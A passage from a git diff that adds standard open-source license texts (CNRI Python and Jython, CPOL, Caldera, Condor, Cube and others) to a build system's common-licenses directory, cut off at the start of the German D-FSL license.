+ 8.5 However, if You cease all breaches of this Licence, then Your
+ Licence from any Licensor is reinstated unless such Licensor has
+ terminated this Licence by giving You, while You remain in
+ breach, a notice specifying the breach and requiring You to cure
+ it within 30 days, and You have failed to come into compliance
+ in all material respects by the end of the 30 day period. Should
+ You repeat the breach after receipt of a cure notice and
+ subsequent reinstatement, this Licence will terminate
+ immediately and permanently. Section 6 shall continue to apply
+ after any termination.
+
+ 8.6 This Licence shall not be enforceable except by a Licensor
+ acting as such, and third party beneficiary rights are
+ specifically excluded.
diff --git a/meta/files/common-licenses/CNRI-Jython b/meta/files/common-licenses/CNRI-Jython
new file mode 100644
index 0000000000..0bfec82d07
--- /dev/null
+++ b/meta/files/common-licenses/CNRI-Jython
@@ -0,0 +1,12 @@
+
+1. This LICENSE AGREEMENT is between the Corporation for National Research Initiatives, having an office at 1895 Preston White Drive, Reston, VA 20191 ("CNRI"), and the Individual or Organization ("Licensee") accessing and using JPython version 1.1.x in source or binary form and its associated documentation as provided herein ("Software").
+
+2. Subject to the terms and conditions of this License Agreement, CNRI hereby grants Licensee a non-exclusive, non-transferable, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use the Software alone or in any derivative version, provided, however, that CNRI's License Agreement and CNRI's notice of copyright, i.e., “Copyright (c) 1996-1999 Corporation for National Research Initiatives; All Rights Reserved” are both retained in the Software, alone or in any derivative version prepared by Licensee.
+Alternatively, in lieu of CNRI's License Agreement, Licensee may substitute the following text (omitting the quotes), provided, however, that such text is displayed prominently in the Software alone or in any derivative version prepared by Licensee: “JPython (Version 1.1.x) is made available subject to the terms and conditions in CNRI's License Agreement. This Agreement may be located on the Internet using the following unique, persistent identifier (known as a handle): 1895.22/1006. The License may also be obtained from a proxy server on the Web using the following URL: http://hdl.handle.net/1895.22/1006.”
+3. In the event Licensee prepares a derivative work that is based on or incorporates the Software or any part thereof, and wants to make the derivative work available to the public as provided herein, then Licensee hereby agrees to indicate in any such work, in a prominently visible way, the nature of the modifications made to CNRI's Software.
+4. Licensee may not use CNRI trademarks or trade name, including JPython or CNRI, in a trademark sense to endorse or promote products or services of Licensee, or any third party. Licensee may use the mark JPython in connection with Licensee's derivative versions that are based on or incorporate the Software, but only in the form “JPython-based ___________________,” or equivalent.
+5. CNRI is making the Software available to Licensee on an “AS IS” basis. CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE WILL NOT INFRINGE ANY THIRD PARTY RIGHTS.
+6. CNRI SHALL NOT BE LIABLE TO LICENSEE OR OTHER USERS OF THE SOFTWARE FOR ANY INCIDENTAL, SPECIAL OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THE SOFTWARE, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. SOME STATES DO NOT ALLOW THE LIMITATION OR EXCLUSION OF LIABILITY SO THE ABOVE DISCLAIMER MAY NOT APPLY TO LICENSEE.
+7. This License Agreement may be terminated by CNRI (i) immediately upon written notice from CNRI of any material breach by the Licensee, if the nature of the breach is such that it cannot be promptly remedied; or (ii) sixty (60) days following notice from CNRI to Licensee of a material remediable breach, if Licensee has not remedied such breach within that sixty-day period.
+8. This License Agreement shall be governed by and interpreted in all respects by the law of the State of Virginia, excluding conflict of law provisions. Nothing in this Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between CNRI and Licensee.
+9. By clicking on the "ACCEPT" button where indicated, or by installing, copying or otherwise using the Software, Licensee agrees to be bound by the terms and conditions of this License Agreement.
diff --git a/meta/files/common-licenses/CNRI-Python b/meta/files/common-licenses/CNRI-Python
new file mode 100644
index 0000000000..64f1298e95
--- /dev/null
+++ b/meta/files/common-licenses/CNRI-Python
@@ -0,0 +1,25 @@
+CNRI OPEN SOURCE LICENSE AGREEMENT
+
+IMPORTANT: PLEASE READ THE FOLLOWING AGREEMENT CAREFULLY.
+
+BY CLICKING ON "ACCEPT" WHERE INDICATED BELOW, OR BY COPYING, INSTALLING OR OTHERWISE USING PYTHON 1.6, beta 1 SOFTWARE, YOU ARE DEEMED TO HAVE AGREED TO THE TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT.
+
+1. This LICENSE AGREEMENT is between the Corporation for National Research Initiatives, having an office at 1895 Preston White Drive, Reston, VA 20191 ("CNRI"), and the Individual or Organization ("Licensee") accessing and otherwise using Python 1.6, beta 1 software in source or binary form and its associated documentation, as released at the www.python.org Internet site on August 4, 2000 ("Python 1.6b1").
+
+2. Subject to the terms and conditions of this License Agreement, CNRI hereby grants Licensee a non-exclusive, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use Python 1.6b1 alone or in any derivative version, provided, however, that CNRIs License Agreement is retained in Python 1.6b1, alone or in any derivative version prepared by Licensee.
+
+Alternately, in lieu of CNRIs License Agreement, Licensee may substitute the following text (omitting the quotes): "Python 1.6, beta 1, is made available subject to the terms and conditions in CNRIs License Agreement. This Agreement may be located on the Internet using the following unique, persistent identifier (known as a handle): 1895.22/1011. This Agreement may also be obtained from a proxy server on the Internet using the URL:http://hdl.handle.net/1895.22/1011".
+
+3. In the event Licensee prepares a derivative work that is based on or incorporates Python 1.6b1 or any part thereof, and wants to make the derivative work available to the public as provided herein, then Licensee hereby agrees to indicate in any such work the nature of the modifications made to Python 1.6b1.
+
+4. CNRI is making Python 1.6b1 available to Licensee on an "AS IS" basis. CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 1.6b1 WILL NOT INFRINGE ANY THIRD PARTY RIGHTS.
+
+5. CNRI SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF THE SOFTWARE FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF USING, MODIFYING OR DISTRIBUTING PYTHON 1.6b1, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
+
+6. This License Agreement will automatically terminate upon a material breach of its terms and conditions.
+
+7. This License Agreement shall be governed by and interpreted in all respects by the law of the State of Virginia, excluding conflict of law provisions. Nothing in this License Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between CNRI and Licensee. This License Agreement does not grant permission to use CNRI trademarks or trade name in a trademark sense to endorse or promote products or services of Licensee, or any third party.
+
+8. By clicking on the "ACCEPT" button where indicated, or by copying, installing or otherwise using Python 1.6b1, Licensee agrees to be bound by the terms and conditions of this License Agreement.
+
+ACCEPT
diff --git a/meta/files/common-licenses/CNRI-Python-GPL-Compatible b/meta/files/common-licenses/CNRI-Python-GPL-Compatible
new file mode 100644
index 0000000000..2754c70e89
--- /dev/null
+++ b/meta/files/common-licenses/CNRI-Python-GPL-Compatible
@@ -0,0 +1,23 @@
+CNRI OPEN SOURCE GPL-COMPATIBLE LICENSE AGREEMENT
+
+IMPORTANT: PLEASE READ THE FOLLOWING AGREEMENT CAREFULLY.
+
+BY CLICKING ON "ACCEPT" WHERE INDICATED BELOW, OR BY COPYING, INSTALLING OR OTHERWISE USING PYTHON 1.6.1 SOFTWARE, YOU ARE DEEMED TO HAVE AGREED TO THE TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT.
+
+1. This LICENSE AGREEMENT is between the Corporation for National Research Initiatives, having an office at 1895 Preston White Drive, Reston, VA 20191 ("CNRI"), and the Individual or Organization ("Licensee") accessing and otherwise using Python 1.6.1 software in source or binary form and its associated documentation.
+
+2. Subject to the terms and conditions of this License Agreement, CNRI hereby grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use Python 1.6.1 alone or in any derivative version, provided, however, that CNRI's License Agreement and CNRI's notice of copyright, i.e., "Copyright © 1995-2001 Corporation for National Research Initiatives; All Rights Reserved" are retained in Python 1.6.1 alone or in any derivative version prepared by Licensee. Alternately, in lieu of CNRI's License Agreement, Licensee may substitute the following text (omitting the quotes): "Python 1.6.1 is made available subject to the terms and conditions in CNRI's License Agreement. This Agreement together with Python 1.6.1 may be located on the Internet using the following unique, persistent identifier (known as a handle): 1895.22/1013. This Agreement may also be obtained from a proxy server on the Internet using the following URL: http://hdl.handle.net/1895.22/1013".
+
+3. In the event Licensee prepares a derivative work that is based on or incorporates Python 1.6.1 or any part thereof, and wants to make the derivative work available to others as provided herein, then Licensee hereby agrees to include in any such work a brief summary of the changes made to Python 1.6.1.
+
+4. CNRI is making Python 1.6.1 available to Licensee on an "AS IS" basis. CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 1.6.1 WILL NOT INFRINGE ANY THIRD PARTY RIGHTS.
+
+5. CNRI SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON 1.6.1 FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 1.6.1, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
+
+6. This License Agreement will automatically terminate upon a material breach of its terms and conditions.
+
+7. This License Agreement shall be governed by the federal intellectual property law of the United States, including without limitation the federal copyright law, and, to the extent such U.S. federal law does not apply, by the law of the Commonwealth of Virginia, excluding Virginia's conflict of law provisions. Notwithstanding the foregoing, with regard to derivative works based on Python 1.6.1 that incorporate non-separable material that was previously distributed under the GNU General Public License (GPL), the law of the Commonwealth of Virginia shall govern this License Agreement only as to issues arising under or with respect to Paragraphs 4, 5, and 7 of this License Agreement. Nothing in this License Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between CNRI and Licensee. This License Agreement does not grant permission to use CNRI trademarks or trade name in a trademark sense to endorse or promote products or services of Licensee, or any third party.
+
+8. By clicking on the "ACCEPT" button where indicated, or by copying, installing or otherwise using Python 1.6.1, Licensee agrees to be bound by the terms and conditions of this License Agreement.
+
+ACCEPT
diff --git a/meta/files/common-licenses/CPOL-1.02 b/meta/files/common-licenses/CPOL-1.02
new file mode 100644
index 0000000000..9857e0003b
--- /dev/null
+++ b/meta/files/common-licenses/CPOL-1.02
@@ -0,0 +1,98 @@
+The Code Project Open License (CPOL) 1.02
+
+Preamble
+
+This License governs Your use of the Work. This License is intended to allow developers to use the Source Code and Executable Files provided as part of the Work in any application in any form.
+
+The main points subject to the terms of the License are:
+- Source Code and Executable Files can be used in commercial applications;
+- Source Code and Executable Files can be redistributed; and
+- Source Code can be modified to create derivative works.
+- No claim of suitability, guarantee, or any warranty whatsoever is provided. The software is provided "as-is".
+- The Article accompanying the Work may not be distributed or republished without the Author's consent
+
+This License is entered between You, the individual or other entity reading or otherwise making use of the Work licensed pursuant to this License and the individual or other entity which offers the Work under the terms of this License ("Author").
+
+License
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CODE PROJECT OPEN LICENSE ("LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.
+
+BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HEREIN, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE AUTHOR GRANTS YOU THE RIGHTS CONTAINED HEREIN IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO ACCEPT AND BE BOUND BY THE TERMS OF THIS LICENSE, YOU CANNOT MAKE ANY USE OF THE WORK.
+
+1. Definitions.
+
+ a. "Articles" means, collectively, all articles written by Author which describes how the Source Code and Executable Files for the Work may be used by a user.
+
+ b. "Author" means the individual or entity that offers the Work under the terms of this License.
+
+ c. "Derivative Work" means a work based upon the Work or upon the Work and other pre-existing works.
+
+ d. "Executable Files" refer to the executables, binary files, configuration and any required data files included in the Work.
+
+ e. "Publisher" means the provider of the website, magazine, CD-ROM, DVD or other medium from or by which the Work is obtained by You.
+
+ f. "Source Code" refers to the collection of source code and configuration files used to create the Executable Files.
+
+ g. "Standard Version" refers to such a Work if it has not been modified, or has been modified in accordance with the consent of the Author, such consent being in the full discretion of the Author.
+
+ h. "Work" refers to the collection of files distributed by the Publisher, including the Source Code, Executable Files, binaries, data files, documentation, whitepapers and the Articles.
+
+ i. "You" is you, an individual or entity wishing to use the Work and exercise your rights under this License.
+
+2. Fair Use/Fair Use Rights. Nothing in this License is intended to reduce, limit, or restrict any rights arising from fair use, fair dealing, first sale or other limitations on the exclusive rights of the copyright owner under copyright law or other applicable laws.
+
+3. License Grant. Subject to the terms and conditions of this License, the Author hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:
+
+ a. You may use the standard version of the Source Code or Executable Files in Your own applications.
+
+ b. You may apply bug fixes, portability fixes and other modifications obtained from the Public Domain or from the Author. A Work modified in such a way shall still be considered the standard version and will be subject to this License.
+
+ c. You may otherwise modify Your copy of this Work (excluding the Articles) in any way to create a Derivative Work, provided that You insert a prominent notice in each changed file stating how, when and where You changed that file.
+
+ d. You may distribute the standard version of the Executable Files and Source Code or Derivative Work in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution.
+
+ e. The Articles discussing the Work published in any form by the author may not be distributed or republished without the Author's consent. The author retains copyright to any such Articles. You may use the Executable Files and Source Code pursuant to this License but you may not repost or republish or otherwise distribute or make available the Articles, without the prior written consent of the Author.
+
+Any subroutines or modules supplied by You and linked into the Source Code or Executable Files of this Work shall not be considered part of this Work and will not be subject to the terms of this License.
+
+4. Patent License. Subject to the terms and conditions of this License, each Author hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, import, and otherwise transfer the Work.
+
+5. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You agree not to remove any of the original copyright, patent, trademark, and attribution notices and associated disclaimers that may appear in the Source Code or Executable Files.
+
+ b. You agree not to advertise or in any way imply that this Work is a product of Your own.
+
+ c. The name of the Author may not be used to endorse or promote products derived from the Work without the prior written consent of the Author.
+
+ d. You agree not to sell, lease, or rent any part of the Work. This does not restrict you from including the Work or any part of the Work inside a larger software distribution that itself is being sold. The Work by itself, though, cannot be sold, leased or rented.
+
+ e. You may distribute the Executable Files and Source Code only under the terms of this License, and You must include a copy of, or the Uniform Resource Identifier for, this License with every copy of the Executable Files or Source Code You distribute and ensure that anyone receiving such Executable Files and Source Code agrees that the terms of this License apply to such Executable Files and/or Source Code. You may not offer or impose any terms on the Work that alter or restrict the terms of this License or the recipients' exercise of the rights granted hereunder. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties. You may not distribute the Executable Files or Source Code with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this License.
+
+ f. You agree not to use the Work for illegal, immoral or improper purposes, or on pages containing illegal, immoral or improper material. The Work is subject to applicable export laws. You agree to comply with all such laws and regulations that may apply to the Work after Your receipt of the Work.
+
+6. Representations, Warranties and Disclaimer. THIS WORK IS PROVIDED "AS IS", "WHERE IS" AND "AS AVAILABLE", WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES OR CONDITIONS OR GUARANTEES. YOU, THE USER, ASSUME ALL RISK IN ITS USE, INCLUDING COPYRIGHT INFRINGEMENT, PATENT INFRINGEMENT, SUITABILITY, ETC. AUTHOR EXPRESSLY DISCLAIMS ALL EXPRESS, IMPLIED OR STATUTORY WARRANTIES OR CONDITIONS, INCLUDING WITHOUT LIMITATION, WARRANTIES OR CONDITIONS OF MERCHANTABILITY, MERCHANTABLE QUALITY OR FITNESS FOR A PARTICULAR PURPOSE, OR ANY WARRANTY OF TITLE OR NON-INFRINGEMENT, OR THAT THE WORK (OR ANY PORTION THEREOF) IS CORRECT, USEFUL, BUG-FREE OR FREE OF VIRUSES. YOU MUST PASS THIS DISCLAIMER ON WHENEVER YOU DISTRIBUTE THE WORK OR DERIVATIVE WORKS.
+
+7. Indemnity. You agree to defend, indemnify and hold harmless the Author and the Publisher from and against any claims, suits, losses, damages, liabilities, costs, and expenses (including reasonable legal or attorneys' fees) resulting from or relating to any use of the Work by You.
+
+8. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL THE AUTHOR OR THE PUBLISHER BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK OR OTHERWISE, EVEN IF THE AUTHOR OR THE PUBLISHER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+9. Termination.
+
+ a. This License and the rights granted hereunder will terminate automatically upon any breach by You of any term of this License. Individuals or entities who have received Derivative Works from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 6, 7, 8, 9, 10 and 11 will survive any termination of this License.
+
+ b. If You bring a copyright, trademark, patent or any other infringement claim against any contributor over infringements You claim are made by the Work, your License from such contributor to the Work ends automatically.
+
+ c. Subject to the above terms and conditions, this License is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, the Author reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.
+
+10. Publisher. The parties hereby confirm that the Publisher shall not, under any circumstances, be responsible for and shall not have any liability in respect of the subject matter of this License. The Publisher makes no warranty whatsoever in connection with the Work and shall not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this license. The Publisher reserves the right to cease making the Work available to You at any time without notice
+
+11. Miscellaneous
+
+ a. This License shall be governed by the laws of the location of the head office of the Author or if the Author is an individual, the laws of location of the principal place of residence of the Author.
+
+ b. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this License, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ c. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
+
+ d. This License constitutes the entire agreement between the parties with respect to the Work licensed herein. There are no understandings, agreements or representations with respect to the Work not specified herein. The Author shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Author and You.
diff --git a/meta/files/common-licenses/Caldera b/meta/files/common-licenses/Caldera
new file mode 100644
index 0000000000..752ccc1110
--- /dev/null
+++ b/meta/files/common-licenses/Caldera
@@ -0,0 +1,25 @@
+Caldera International, Inc. hereby grants a fee free license that includes the rights use, modify and distribute this named source code, including creating derived binary products created from the source code. The source code for which Caldera International, Inc. grants rights are limited to the following UNIX Operating Systems that operate on the 16-Bit PDP-11 CPU and early versions of the 32-Bit UNIX Operating System, with specific exclusion of UNIX System III and UNIX System V and successor operating systems:
+
+ 32-bit 32V UNIX
+ 16 bit UNIX Versions 1, 2, 3, 4, 5, 6, 7
+
+Caldera International, Inc. makes no guarantees or commitments that any source code is available from Caldera
+International, Inc.
+
+The following copyright notice applies to the source code files for which this license is granted.
+
+Copyright(C) Caldera International Inc. 2001-2002. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ Redistributions of source code and documentation must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ All advertising materials mentioning features or use of this software must display the following acknowledgement:
+This product includes software developed or owned by Caldera International, Inc.
+
+ Neither the name of Caldera International, Inc. nor the names of other contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+USE OF THE SOFTWARE PROVIDED FOR UNDER THIS LICENSE BY CALDERA INTERNATIONAL, INC. AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CALDERA INTERNATIONAL, INC. BE LIABLE FOR ANY DIRECT, INDIRECT INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/Condor-1.1 b/meta/files/common-licenses/Condor-1.1
new file mode 100644
index 0000000000..c7a4f2cb55
--- /dev/null
+++ b/meta/files/common-licenses/Condor-1.1
@@ -0,0 +1,40 @@
+Condor Public License
+
+Version 1.1, October 30, 2003
+
+Copyright © 1990-2006 Condor Team, Computer Sciences Department, University of Wisconsin-Madison, Madison, WI. All Rights Reserved. For more information contact: Condor Team, Attention: Professor Miron Livny, Dept of Computer Sciences, 1210 W. Dayton St., Madison, WI 53706-1685, (608) 262-0856 or miron@cs.wisc.edu.
+
+This software referred to as the Condor® Version 6.x software ("Software") was developed by the Condor Project, Condor Team, Computer Sciences Department, University of Wisconsin-Madison, under the authority of the Board of Regents of the University of Wisconsin System and includes voluntary contributions made to the Condor Project ("Copyright Holders and Contributors and the University"). For more information on the Condor Project, please see http://www.condorproject.org/.
+
+Installation, use, reproduction, display, modification and redistribution of this Software, with or without modification, in source and binary forms, are permitted. Any exercise of rights under this license including sublicenses by you is subject to the following conditions:
+
+1. Redistributions of this Software, with or without modification, must reproduce this Condor Public License in: (1) the Software, and (2) any user documentation or other similar material which is provided with the Software.
+
+2. Any user documentation included with a redistribution must include the following notice:
+``This product includes software from the Condor® Project (http://www.condorproject.org/)"
+Alternatively, if that is where third-party acknowledgments normally appear, this acknowledgment must be reproduced in the Software itself.
+3. Any academic report, publication, or other academic disclosure of results obtained with this Software will acknowledge this Software's use by an appropriate citation.
+
+4. The name Condor® is a registered trademark of the University of Wisconsin-Madison. The trademark may not be used to endorse or promote software, or products derived therefrom, and, other than as required by section 2 and 3 above, it may not be affixed to modified redistributions of this Software without the prior written approval, obtainable via email to condor-admin@cs.wisc.edu.
+
+5. To the extent that patent claims licensable by the University of Wisconsin-Madison are necessarily infringed by the use or sale of the Software, you are granted a non-exclusive, worldwide, royalty- free perpetual license under such patent claims, with the rights for you to make, use, sell, offer to sell, import and otherwise transfer the Software in source code and object code form and derivative works. This patent license shall apply to the combination of the Software with other software if, at the time the Software is added by you, such addition of the Software causes such combination to be covered by such patent claims. This patent license shall not apply to any other combinations which include the Software. No hardware per se is licensed hereunder.If you or any subsequent sub-licensee (a ``Recipient") institutes patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Software infringes such Recipient's patent(s), then such Recipient's rights granted (directly or indirectly) under the patent license above shall terminate as of the date such litigation is filed. All sublicenses to the Software which have been properly granted prior to termination shall survive any termination of said patent license, if not otherwise terminated pursuant to this section.
+
+6. DISCLAIMER
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AND THE UNIVERSITY "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, OF SATISFACTORY QUALITY, AND FITNESS FOR A PARTICULAR PURPOSE OR USE ARE DISCLAIMED. THE COPYRIGHT HOLDERS AND CONTRIBUTORS AND THE UNIVERSITY MAKE NO REPRESENTATION THAT THE SOFTWARE, MODIFICATIONS, ENHANCEMENTS OR DERIVATIVE WORKS THEREOF, WILL NOT INFRINGE ANY PATENT, COPYRIGHT, TRADEMARK, TRADE SECRET OR OTHER PROPRIETARY RIGHT.
+7. LIMITATION OF LIABILITY
+THE COPYRIGHT HOLDERS AND CONTRIBUTORS AND ANY OTHER OFFICER, AGENT, OR EMPLOYEE OF THE UNIVERSITY SHALL HAVE NO LIABILITY TO LICENSEE OR OTHER PERSONS FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL, EXEMPLARY, OR PUNITIVE DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, LOSS OF USE, DATA OR PROFITS, OR BUSINESS INTERRUPTION, HOWEVER CAUSED AND ON ANY THEORY OF CONTRACT, WARRANTY, TORT (INCLUDING NEGLIGENCE), PRODUCT LIABILITY OR OTHERWISE, ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+8. Certain uses and transfers of the Software or documentation, and/or items or software incorporating the Condor Software or documentation, may require a license under U.S. Export Control laws. Licensee represents and warrants that all uses and transfers of the Condor Software or documentation and/or any items or software incorporating Condor shall be in compliance with U.S. Export Control laws, and Licensee further understands that failure to comply with such export control laws may result in criminal liability to Licensee under U.S. laws.
+
+9. The Condor Team may publish revised and/or new versions of this Condor Public License (``this License") from time to time. Each version will be given a distinguishing version number. Once Software has been published under a particular version of this License, you may always continue to use it under the terms of that version. You may also choose to use such Software under the terms of any subsequent version of this License published by the Condor Team. No one other than the Condor Team has the right to modify the terms of this License.
+
+For more information:
+
+Condor Team
+Attention: Professor Miron Livny
+7367 Computer Sciences
+1210 W. Dayton St.
+Madison, WI 53706-1685
+miron@cs.wisc.edu
+http://pages.cs.wisc.edu/~miron/miron.html
+
+
diff --git a/meta/files/common-licenses/Crossword b/meta/files/common-licenses/Crossword
new file mode 100644
index 0000000000..6be940c33b
--- /dev/null
+++ b/meta/files/common-licenses/Crossword
@@ -0,0 +1,5 @@
+Copyright (C) 1995-2009 Gerd Neugebauer
+
+cwpuzzle.dtx is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY. No author or distributor accepts responsibility to anyone for the consequences of using it or for whether it serves any particular purpose or works at all, unless he says so in writing.
+.
+Everyone is granted permission to copy, modify and redistribute cwpuzzle.dtx, provided this copyright notice is preserved and any modifications are indicated.
diff --git a/meta/files/common-licenses/CrystalStacker b/meta/files/common-licenses/CrystalStacker
new file mode 100644
index 0000000000..506361a956
--- /dev/null
+++ b/meta/files/common-licenses/CrystalStacker
@@ -0,0 +1,7 @@
+Crystal Stacker is freeware. This means you can pass copies around freely provided you include this document in it's original form in your distribution. Please see the "Contacting Us" section of this document if you need to contact us for any reason.
+
+Disclaimer
+
+NewCreature Design makes no guarantees regarding the Crystal Stacker software. We are not responsible for damages caused by it, though the software is not known to cause any problems. If you have trouble with the software, see the "Contacting Us" section of this document.
+
+The source code is provided as-is and you may do with it whatsoever you please provided that you include this file in its unmodified form with any new distribution. NewCreature Design makes no gaurantees regarding the usability of the source but are willing to help with any problems you might run into. Please see the "Contacting Us" section of this document if you need to get in touch with us about any issues you have regarding the source.
diff --git a/meta/files/common-licenses/Cube b/meta/files/common-licenses/Cube
new file mode 100644
index 0000000000..0a9ea66eb3
--- /dev/null
+++ b/meta/files/common-licenses/Cube
@@ -0,0 +1,17 @@
+Cube game engine source code, 20 dec 2003 release.
+
+Copyright (C) 2001-2003 Wouter van Oortmerssen.
+
+This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software.
+
+Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions:
+
+ 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required.
+
+ 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+ 3. This notice may not be removed or altered from any source distribution.
+
+additional clause specific to Cube:
+
+ 4. Source versions may not be "relicensed" under a different license without my explicitly written permission.
diff --git a/meta/files/common-licenses/D-FSL-1.0 b/meta/files/common-licenses/D-FSL-1.0
new file mode 100644
index 0000000000..b64a259c47
--- /dev/null
+++ b/meta/files/common-licenses/D-FSL-1.0
@@ -0,0 +1,147 @@
+Deutsche Freie Software Lizenz
+
+(c) Ministerium für Wissenschaft und Forschung Nordrhein-Westfalen 2004
+
+Erstellt von Axel Metzger und Till Jaeger, Institut für Rechtsfragen der Freien und Open Source Software - (http://www.ifross.de).
+
+Präambel
+
